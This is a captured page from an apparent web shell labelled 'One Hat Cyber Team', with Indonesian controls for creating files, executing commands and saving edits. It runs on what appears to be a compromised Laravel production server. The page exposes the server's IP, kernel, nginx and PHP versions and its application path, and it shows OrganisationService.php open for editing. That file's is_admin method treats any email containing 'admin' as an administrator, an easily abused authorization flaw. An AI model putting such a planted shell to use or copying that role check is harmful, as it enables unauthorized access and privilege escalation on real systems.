One Hat Cyber Team
Your IP :
13.58.187.29
Server IP :
104.21.48.1
Server :
Linux agrigation-prod 5.15.0-67-generic #74-Ubuntu SMP Wed Feb 22 14:14:39 UTC 2023 x86_64
Server Software :
nginx/1.24.0
PHP Version :
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
forge
/
app.gftag.com
/
app
/
Services
/
Edit File:
OrganisationService.php
<?php namespace App\Services; use App\Models\Organisation; use App\Models\User; use Illuminate\Support\Facades\Auth; class OrganisationService { public function getOrganisationByUser() { $user_id = Auth::user()->id; $organisation = Organisation::where('user_id', $user_id)->first(); if(!empty($organisation)){ return $organisation->id; } return null; } public function getUser() { $user_id = Auth::user()->id; $user = User::find($user_id); if(!empty($user)){ return $user->id; } return null; } //user Roles public function is_admin() { $user_id = Auth::user()->email; if (strpos($user_id, 'admin') !== false) { return 'admin'; } else{ return 'organisation'; } } }
Simpan